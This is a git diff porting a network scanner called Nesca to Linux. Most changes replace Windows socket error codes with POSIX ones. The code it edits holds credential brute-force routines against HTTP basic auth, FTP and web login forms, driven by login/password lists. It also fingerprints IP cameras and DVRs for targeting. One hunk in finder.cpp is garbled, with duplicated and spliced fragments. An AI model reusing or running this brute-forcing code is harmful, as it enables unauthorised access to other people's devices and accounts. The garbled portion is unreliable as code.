diff --git a/.gitignore b/.gitignore
new file mode 100644
index 0000000..1651965
--- /dev/null
+++ b/.gitignore
@@ -0,0 +1,3 @@
+*.swo
+*.swp
+debugData.txt
diff --git a/CheckKey_Th.cpp b/CheckKey_Th.cpp
index d0d0b4b..35b7fd7 100644
--- a/CheckKey_Th.cpp
+++ b/CheckKey_Th.cpp
@@ -95,8 +95,7 @@ int KeyCheckerMain()
return -1;
};
- ZeroMemory(msg, sizeof(msg));
- int ror = sizeof(msg);
+ ZeroMemory(msg, sizeof(msg));
test = recv(sock, msg, sizeof(msg), 0);
char buff[512] = {0};
diff --git a/CheckProxy_Th.cpp b/CheckProxy_Th.cpp
index c87746d..403075a 100644
--- a/CheckProxy_Th.cpp
+++ b/CheckProxy_Th.cpp
@@ -29,7 +29,6 @@ void CheckProxyLogic()
strcpy(ircProxy, str2.toUtf8().data());
strcpy(ircProxyPort, str1.toUtf8().data());
- int err, yes = 1;
SOCKET pSock;
char precvBuff[2048] = {0};
sockaddr_in addr;
diff --git a/DrawerTh_VoiceScanner.cpp b/DrawerTh_VoiceScanner.cpp
index dea5945..a668ed8 100644
--- a/DrawerTh_VoiceScanner.cpp
+++ b/DrawerTh_VoiceScanner.cpp
@@ -12,7 +12,7 @@ void DrawerTh_VoiceScanner::doEmitDrawGrid(int factor)
void DrawerTh_VoiceScanner::doEmitDrawTextPlacers()
{
emit vsTh->sDrawTextPlacers();
-};
+}
void makeVoiceLine(int Al, int An, int Bd, int Sp, int Lo, int var, int Ovl, int WF, int SSH)
{
@@ -132,4 +132,4 @@ void DrawerTh_VoiceScanner::run()
ssh = 0;
};
};
-};
\ No newline at end of file
+};
diff --git a/README.md b/README.md
new file mode 100644
index 0000000..5afc3b1
--- /dev/null
+++ b/README.md
@@ -0,0 +1,9 @@
+Nesca для Linux. Протестировано на Fedora 20 и РАБОТАЕТ(!)
+
+```
+
+Linux 3.18.6-100.fc20.x86_64 #1 SMP Fri Feb 6 22:55:01 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
+```
+1. libssh
+2. openssl
+3. весь qt-фреймворк (лол)
diff --git a/connector.cpp b/connector.cpp
index f42c6fa..e43fbd5 100644
--- a/connector.cpp
+++ b/connector.cpp
@@ -548,14 +548,12 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
char tPass[256] = {0};
char curLogin[256] = {0};
char curPass[256] = {0};
- int cCode;
- int cErrCode;
+ int cCode;
int dataSz = 0;
char request[REQUEST_MAX_SIZE] = {0};
char recvBuff[4096] = {0};
char recvBuff2[512] = {0};
- char pass[256] = {0};
- int WSAErr;
+ char pass[256] = {0};
char localBuff[4096] = {0};
strcpy(localBuff, headerMsg);
@@ -674,11 +672,11 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
if(cCode == SOCKET_ERROR) {
int errorCode = WSAGetLastError();
- if(errorCode == 10038) {
+ if(errorCode == ENOTSOCK) {
- while(errorCode == 10038)
+ while(errorCode == ENOTSOCK)
{
- if(gDebugMode) stt->doEmitionDebugFoundData("[BA][10038] - [" + QString(ip) + ":" + QString::number(port) + "]");
+ if(gDebugMode) stt->doEmitionDebugFoundData("[BA][ENOTSOCK] - [" + QString(ip) + ":" + QString::number(port) + "]");
CSSOCKET(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
@@ -688,7 +686,7 @@ lopaStr _BABrute(char *cookie, char *ip, int port, char *pathT, char *method)
CSSOCKET(sock);
- if(errorCode != 10060)
+ if(errorCode != ETIMEDOUT)
{
stt->doEmitionRedFoundData("[BA] Cannot connect to " + QString(ip) + "[" + QString::number(errorCode) + "]");
};
@@ -920,9 +918,9 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr));
- while(WSAGetLastError() == 10038)
+ while(WSAGetLastError() == ENOTSOCK)
{
- if(gDebugMode) stt->doEmitionDebugFoundData("[FTP] 10038 occured - [" + QString(ip) + ":" + QString::number(port) + "]");
+ if(gDebugMode) stt->doEmitionDebugFoundData("[FTP][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]");
CSSOCKET(sockFTP);
sockFTP = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
connectionResult = connect(sockFTP, (sockaddr*)&sockAddr, sizeof(sockAddr));
@@ -1248,14 +1246,17 @@ lopaStr _FTPBrute(char *ip, int port, PathStr *ps)
ZeroMemory(recvBuff, sizeof(recvBuff));
}
else
- {
- char err[128] = {0};
-
+ {
int WSAerr;
if(connectionResult == -1) WSAerr = WSAGetLastError();
- else WSAerr = 10060;
+ else WSAerr = ETIMEDOUT;
- if(gThreads > 1 && WSAerr != 10060/*Timeout*/ && WSAerr != 10055/*POOLOVERFLOW*/ && WSAerr != 10061/*WSAECONNREFUSED*/ && WSAerr != 10054/*WSACONNABORTED*/ && WSAerr != 0)
+ if(gThreads > 1
+ && WSAerr != ETIMEDOUT/*Timeout*/
+ && WSAerr != ENOBUFS/*POOLOVERFLOW*/
+ && WSAerr != ECONNREFUSED/*WSAECONNREFUSED*/
+ && WSAerr != ECONNRESET/*WSAECONNRESET*/
+ && WSAerr != 0)
{
stt->doEmitionRedFoundData("[FTPBrute] Cannot connect to " + QString(ip) + " " + QString(std::to_string(WSAerr).c_str()));
};
@@ -1424,7 +1425,7 @@ int _sslConnectTo(char *iph, int porth, char *requesth, conSTR *CSTR)
CSTR->size = 0;
return 0;
};
- };
+ } else return -1;
}
else
{
@@ -1522,9 +1523,8 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
if(iResult == SOCKET_ERROR)
{
- iError = WSAGetLastError();
-
- if(iError == 10035)
+ iError = WSAGetLastError();
+ if(iError == EINPROGRESS)
{
fd_set read_fs;
FD_ZERO(&read_fs);
@@ -1635,13 +1635,13 @@ int Connector::_EstablishConnection(char *ip, int port, char *request, conSTR *C
else
{
++offlines;
- if(iError == 10055)
+ if(iError == ENOBUFS)
{
- stt->doEmitionRedFoundData("[10055] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
+ stt->doEmitionRedFoundData("[ENOBUFS] Connection pool depleted " + QString(ip) + ":" + QString::number(port));
}
- else if(iError == 10049)
+ else if(iError == EADDRNOTAVAIL)
{
- stt->doEmitionRedFoundData("[10049] " + QString(ip) +
+ stt->doEmitionRedFoundData("[EADDRNOTAVAIL] " + QString(ip) +
":" + QString::number(port) +
" - " + QString::number(iError));
}
@@ -1703,12 +1703,10 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
char b[16] = {0};
char request[2048] = {0};
- char argData[256] = {0};
- char recvBuffer[65536] = {0};
+ char argData[256] = {0};
Connector con;
- conSTR CSTR;
- int cRes;
+ conSTR CSTR;
int firstCycle = 0;
if(strstri(methodVal, "get") != NULL)
{
@@ -1720,8 +1718,7 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
{
if(globalScanFlag == false) break;
CSTR.lowerBuff = NULL;
- CSTR.size = 0;
- cRes = 0;
+ CSTR.size = 0;
strcpy(request, "GET ");
strcat(request, actionVal);
@@ -1748,8 +1745,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
strcat(request, "\r\nAccept: text/html, application/xml;q=0.9, application/xhtml+xml, image/png, image/jpeg, image/gif, image/x-xbitmap, */*;q=0.1\r\nAccept-Language: us-US,ru;q=0.9,en;q=0.8\r\nAccept-Charset: iso-8859-1, utf-8, utf-16, *;q=0.1\r\nAccept-Encoding: text, identity, *;q=0\r\nUser-Agent: Mozilla/5.0 (X11; U; Linux i686; us; rv:1.9.0.11) Gecko/2009060308 Ubuntu/9.04 (jaunty) Firefox/3.0.11\r\nConnection: close");
strcat(request, "\r\n\r\n");
- if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR);
- else cRes = con._EstablishConnection(ip, port, request, &CSTR);
+ if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR);
+ else con._EstablishConnection(ip, port, request, &CSTR);
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
@@ -1847,8 +1844,7 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
{
if(globalScanFlag == false) break;
CSTR.lowerBuff = NULL;
- CSTR.size = 0;
- cRes = 0;
+ CSTR.size = 0;
strcpy(argData, userVal);
strcat(argData, "=");
@@ -1882,8 +1878,8 @@ lopaStr _WFBrut(char *cookie, char *ip, int port, char *methodVal, char *actionV
if(BALogSwitched) stt->doEmitionBAData("Checked WF: " + QString(ip) + ":" + QString::number(port) + "; login/pass: "+ QString(wfLoginLst[i]) + ":" + QString(wfPassLst[j]) + "; - Progress: (" + QString::number((passCounter/(double)(MaxWFPass*MaxWFLogin)) * 100).mid(0, 4) + "%)");
++passCounter;
- if(port == 443) cRes = con._EstablishSSLConnection(ip, port, request, &CSTR);
- else cRes = con._EstablishConnection(ip, port, request, &CSTR);
+ if(port == 443) con._EstablishSSLConnection(ip, port, request, &CSTR);
+ else con._EstablishConnection(ip, port, request, &CSTR);
if(CSTR.lowerBuff != NULL)
{
@@ -2151,7 +2147,7 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
};
#else
if(inet_addr(ip) != INADDR_NONE) sockAddr.sin_addr.s_addr = inet_addr(ip);
- else if(host=gethostbyname (ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
+ else if(host=gethostbyname(ip)) ((unsigned long*) &sockAddr.sin_addr)[0] = ((unsigned long**)host->h_addr_list)[0][0];
else
{
return -1;
@@ -2161,18 +2157,17 @@ int _webLoginSeq(char *request, char *login, char *pass, char *ip, int port, int
int cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
int cErrCode = WSAGetLastError();
- while(cErrCode == 10038)
+ while(cErrCode == ENOTSOCK)
{
CSSOCKET(sock);
sock = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
cCode = connect(sock, (sockaddr*)&sockAddr, sizeof(sockAddr));
cErrCode = WSAGetLastError();
- if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "] 10038 occured -- [" + QString(ip) + ":" + QString::number(port) + "]");
+ if(gDebugMode) stt->doEmitionDebugFoundData("[" + QString(type) + "][ENOTSOCK] [" + QString(ip) + ":" + QString::number(port) + "]");
};
if(cCode != SOCKET_ERROR)
- {
- int x = 1;
+ {
Activity += strlen(request);
if(send(sock, request, strlen(request), 0) == SOCKET_ERROR)
@@ -2637,6 +2632,7 @@ int Connector::_SSHLobby(char *ip, int port, conSTR *CSTR)
{
return _EstablishSSHConnection(ip, port, CSTR, banner);
};
+ return -1;
}
int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
@@ -2654,7 +2650,6 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
CSTR.lowerBuff = NULL;
CSTR.size = 0;
- int strFlag = 0;
strcpy(mes, buff1);
strcat(mes, ip);
int port = atoi(portC);
@@ -2688,6 +2683,6 @@ int Connector::_ConnectToPort(char *ip, const char *portC, char *hl)
{
delete []CSTR.lowerBuff;
CSTR.lowerBuff = NULL;
- };
- strFlag = 1;
+ };
+ return 0;
}
diff --git a/externData.h b/externData.h
index dc01889..0d235fe 100644
--- a/externData.h
+++ b/externData.h
@@ -4,6 +4,13 @@
#define IRC_CHAN "iskopasi_lab03"
#define CSSOCKET(Socket) shutdown(Socket, SD_BOTH); closesocket(Socket); Socket = -1;
+#ifndef CP_UTF8
+#define CP_UTF8 65001
+#endif
+#ifndef CP_ACP
+#define CP_ACP 0
+#endif
+
extern QJsonArray *jsonArr;
extern unsigned long long gTargetsOverall, Activity;
diff --git a/externFunctions.h b/externFunctions.h
index 60eaab1..dcb722b 100644
--- a/externFunctions.h
+++ b/externFunctions.h
@@ -1,7 +1,7 @@
extern std::string toLowerStr(const char *str);
-extern int recvS(int lSock, char *recvBuffT, int len, int mode);
+extern int recvS(int lSock, char *recvBuffT, int len);
extern int sendS(int lSock, char *msg, int len, int mode);
-extern void UserNickInit(SOCKET lSock);
+extern void UserNickInit();
extern void GetNicks();
extern int startScan(char* argv);
extern void BConInc();
diff --git a/finder.cpp b/finder.cpp
index 393edb8..aebe42c 100644
--- a/finder.cpp
+++ b/finder.cpp
@@ -4,7 +4,7 @@
#include "externFunctions.h"
#include "externData.h"
-char* __cdecl strstri(char *_Str, const char *_SubStr)
+char* strstri(char *_Str, const char *_SubStr)
{
if(_Str != NULL)
{
@@ -15,7 +15,8 @@ char* __cdecl strstri(char *_Str, const char *_SubStr)
if(offset < 0) return NULL;
else return (char*)(_Str + offset);
};
-};
+ return 0;
+}
bool gGlobalTrackLocked = false;
char *_findFirst(char *str, char *delim)
@@ -31,7 +32,8 @@ char *_findFirst(char *str, char *delim)
};
return NULL;
-};
+}
+
char *_findLast(char *str, char *delim)
{
int sz = strlen(str);
@@ -46,7 +48,8 @@ char *_findLast(char *str, char *delim)
};
return (char *)(str + savedPosition);
-};
+}
+
char *GetCodePage(char *str)
{
char cdpg[32] = {0};
@@ -72,6 +75,7 @@ char *GetCodePage(char *str)
else
{
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
+ return "NULL";
};
}
else if(strstri((char *)(temp2 + strlen("doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
+ return "NULL";
};
}
else if(strstri((char *)(temp2 + strlen("doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
+ return "NULL";
};
}
else
@@ -134,6 +140,7 @@ char *GetCodePage(char *str)
else
{
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
+ return "NULL";
}
}
else
@@ -160,13 +167,15 @@ char *GetCodePage(char *str)
else
{
stt->doEmitionRedFoundData("[GetCodePage] [" + QString(temp3).mid(0, 16) + "]");
+ return "NULL";
};
}
else
{
return "NULL";
};
-};
+}
+
int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port)
{
if(strlen(buffcpy) == 0) return -1;
@@ -202,7 +211,8 @@ int Lexems::globalSearchNeg(const char *buffcpy, char *ip, int port)
ZeroMemory(negWord, 256);
};
return 0;
-};
+}
+
int globalSearchPrnt(char *buffcpy)
{
if(strstr(buffcpy, "en/_top.htm") != NULL || strstr(buffcpy, "cannon http server") != NULL
@@ -224,7 +234,7 @@ int globalSearchPrnt(char *buffcpy)
};
return -1;
};
-};
+}
// 500 < 1600
Lexems lxf;
@@ -276,7 +286,7 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL
&& strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
- || strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
+ || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL
@@ -314,7 +324,8 @@ int _mainFinderFirst(char *buffcpy, int f, int port, char *ip)
if(f) return 7;
return 0;
-};
+}
+
//> 1600
int _mainFinderSecond(char *buffcpy, int port, char *ip)
{
@@ -360,7 +371,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "hikvision-webs") != NULL || (strstr(buffcpy, "hikvision digital") != NULL && strstr(buffcpy, "dvrdvs-webs") != NULL)
|| (strstr(buffcpy, "lapassword") != NULL && strstr(buffcpy, "lausername") != NULL && strstr(buffcpy, "dologin()") != NULL)) return 34; //hikvision cam
if((strstr(buffcpy, "easy cam") != NULL && strstr(buffcpy, "easy life") != NULL)
- || strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL) return 35; //EasyCam
+ || (strstr(buffcpy, "ipcamera") != NULL && strstr(buffcpy, "/tool.js") != NULL)) return 35; //EasyCam
if(strstr(buffcpy, "/config/cam_portal.cgi") != NULL || strstr(buffcpy, "/config/easy_index.cgi") != NULL) return 36; //Panasonic Cam
if(strstr(buffcpy, "panasonic") != NULL && strstr(buffcpy, "/view/getuid.cgi") != NULL) return 37; //Panasonic Cam WJ-HD180
if(strstr(buffcpy, "ipcam client") != NULL && strstr(buffcpy, "plugins.xpi") != NULL && strstr(buffcpy, "js/upfile.js") != NULL) return 38; //Foscam
@@ -379,7 +390,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(strstr(buffcpy, "/ipcamerasetup.zip") != NULL && strstr(buffcpy, "download player") != NULL
&& strstr(buffcpy, "ipcam") != NULL) return 48; //ipCam
if(strstr(buffcpy, "dvr") != NULL && strstr(buffcpy, "ieorforefox") != NULL
- && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX
+ && strstr(buffcpy, "sofari") != NULL) return 49; //IEORFOREFOX
if(((strstr(buffcpy, "220") != NULL) && (port == 21)) ||
(strstr(buffcpy, "220 diskStation ftp server ready") != NULL) ||
@@ -401,7 +412,7 @@ int _mainFinderSecond(char *buffcpy, int port, char *ip)
if(globalSearchPrnt(buffcpy) == -1) return -1;
if(strstr(buffcpy, "